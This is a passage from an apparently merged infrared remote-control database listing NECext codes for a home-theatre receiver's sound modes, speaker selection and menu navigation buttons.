7A 00 00 00 -command: 8E 00 00 00 -# -name: MOVIE_THEATER_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: TV_THEATER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: CONCERT_VID_1_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: CONCERT_VIDEO_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: ENTERTAINMENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: DISCO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: DSP_TV_SPORTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: 7_TV_THEATER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: DSP_TOG:_TV_THEATER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: DSP_STADIUM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: STADIUM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: DSP_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: DSP_TOG:_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: DSP_MOV_THTR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: DSP_TOG:_MOVIETHEATR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: CONCERT_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: DSP:_T_STEREO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: DSPTOG:_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: MODE_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: MOVIE_THEATER_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: CONCERT_VID_2_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: CONCERT_VIDEO_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: TV_SPORTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: MOVIE_THEATER_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSP_MOVIE_THEATER_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: 8_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSP_TOG:_MOVIETHEATR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSP_TOG:_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: STADIUM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSP_DISCO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: CONCERT_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSP_TV_THEATER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSP_TOG:_TV_THEATER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: TV_THEATER_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSP_MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSP_MOV_THTR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSP_TOG:_MOVIETHEAT2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: JAZZ_CLUB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DISCO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSP:_T_THX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DSPTOG:_ENTERTNMNT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: MODE_CHURCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: DD/DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: TV_THEATER_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: TV_THEATER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: MOVIE_THEATER_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: DSP_MOVIE_THEATER_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: 9_THX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: DSP_TOG:_THX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: DSP_CHURCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: MOVIE_THEATER_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: DSP_MOVIE_THEATER_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: DSP_TOG:_MOVIETHEATR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: MOVIE_1_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: DSP_D_DIGITAL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: DSP_TOG:_DOLBY/DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: CHURCH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: DSPTOG:_MOVIETHEATR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: MODE_HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: DOLBY/DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: MOVIE_1_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: MOVIE_THEATER_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: MOVIE_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: DOLBY/DTS/AAC_SUR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: 0_DD/_DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: DSP_TOG:_DOLBY/DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: DSP_HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: MOVIE_THEATER_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: DSP_MOVIE_THEATER_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: DSP_TOG:_THX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: MOVIE_2_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: AC-3/DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: DSPTOG:_THX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: MOVIE_2_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 92 00 00 00 -# -name: MOVIE_THEATER_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 92 00 00 00 -# -name: MOVIE_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 92 00 00 00 -# -name: DOLOBY_SURROUND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 92 00 00 00 -# -name: DOLBY/DTS/AAC_SUR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 92 00 00 00 -# -name: DSP_TOG:_DOLBY/DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 92 00 00 00 -# -name: DSPTOG:_DOLBY/DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 92 00 00 00 -# -name: DOLBY/DTS_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 93 00 00 00 -# -name: DTS/SURR. -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 93 00 00 00 -# -name: DOLBY/DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 93 00 00 00 -# -name: DD/DTS_SURROUND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 93 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 93 00 00 00 -# -name: DOLBY_DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 93 00 00 00 -# -name: DOLBY/DTS_SUR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 93 00 00 00 -# -name: DOLBY/DTS_SURROUND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 93 00 00 00 -# -name: DSP_ENHANCER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: DSP_STEREO/ENHANR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: DSPTOG:_ENHANCER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: DSP_TOG:_ENHANCER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: ENHANCER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: DSP_TOG_ENHANCER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: STEREO_ENHANCER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: DSP:_ENHANCER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: PROGRAM_ST/ENHANC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: DSP:_T_ENHANCER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 94 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 95 00 00 00 -# -name: DSP_NIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 95 00 00 00 -# -name: +10_NIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 95 00 00 00 -# -name: DSP_TOG:_NIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 95 00 00 00 -# -name: NIGHT:_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 95 00 00 00 -# -name: DSP:_NIGHT_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 95 00 00 00 -# -name: DSP_NIGHT_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 95 00 00 00 -# -name: DSP:_T_NIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 95 00 00 00 -# -name: DSPTOG:_NIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 95 00 00 00 -# -name: SELECT_DD/DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: DSP_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: SURROUND_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: DSP_TOG:_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: DSP_3D_DSP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: DSPTOG:_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: DSP_TOG_3D_DSP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: DSP_SELECT_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: DSP:_T_3D_DSP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 96 00 00 00 -# -name: MATRIX_6.1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: EX/ES -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: DSP_EXTD_SUR. -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: 6.1/ES_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: 6.1/ES -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: 6.1_ES -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: ENTER_EX/_ES -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: DSP_TOG:_EX/ES -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: DSP_TOG:_EX._SURRND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: DSP_TOG:_EX.SURROUND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: EXT_SUR:_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: SETUP_EXTED_SURR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: EXTENDED_SURROUND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: EXTD._SURR. -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: DSP:_EXTENDED_SURR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: DSP_EXTD_SUR_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: DECOD:_T_EX_SURR. -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: DSPTOG:_EX/ES -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: DSP_(UP) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: C-UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: LEVEL/SET_MENU:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: MENU:_CURSOR_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: TIME/LEVEL_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: YUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: SET_MENU:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: SET_MENU_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: DSP_(DOWN) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: C-DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: LEVEL/SET_MENU:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: MENU:_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: TIME/LEVEL_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: C-DWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: YDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: SET_MENU:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: SET_MENU_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: SPEAKER_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9A 00 00 00 -# -name: SPEAKERS_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9A 00 00 00 -# -name: MZ:_SPKR_A_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9A 00 00 00 -# -name: A_SPEAKERS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9A 00 00 00 -# -name: SPKRS_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9A 00 00 00 -# -name: SPEAKERS_A:_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9A 00 00 00 -# -name: SPKRS_A_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9A 00 00 00 -# -name: MZ:_SPKR_A_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9A 00 00 00 -# -name: SPEAKER_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9B 00 00 00 -# -name: SPEAKERS_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9B 00 00 00 -# -name: MZ:_SPKR_B_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9B 00 00 00 -# -name: B_SPEAKERS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9B 00 00 00 -# -name: SPKRS_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9B 00 00 00 -# -name: SPKRS_B_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9B 00 00 00 -# -name: MZ:_SPKR_B_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9B 00 00 00 -# -name: SETUP_MENU_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: SET_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: DIRECTION_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: SET_MENU_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: SET_MENU:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: MENU:_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: MENU_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: SET_MENU_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: SET_MENU_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: GUI:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: GUI:_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: MENU:_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: SETUP_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: MENU:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: PARAMETER:_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: YMENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: SET_MENU:_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: SET_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: MZ:_SET_CURS_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: SETUP_MENU_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: DIRECTION_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: SET_MENU_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: SET_MENU:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: MENU_CURSOR_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: SET_MENU_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: SET_MENU_CURSOR_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: GUI:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: GUI:_CURSOR_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: MENU:_CURSOR_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: SETUP_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: MENU:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: MZ:_SET_CURSOR_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: SETUP_MENU_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: DIRECTION_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: CURSER_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: SET_MENU_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: SET_MENU:_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: MENU_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: SET_MENU_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: SET_MENU_CURSOR_RIGH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: GUI:_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: GUI:_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: MENU:_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: SETUP_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: MENU:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: MZ:_SET_CURS_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: SETUP_MENU_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: DIRECTION_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: CURSER_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: SET_MENU_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: SET_MENU:_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: MENU_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: SET_MENU_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: SET_MENU_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: GUI:_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: GUI:_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: MENU:_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: SETUP_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: MENU:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 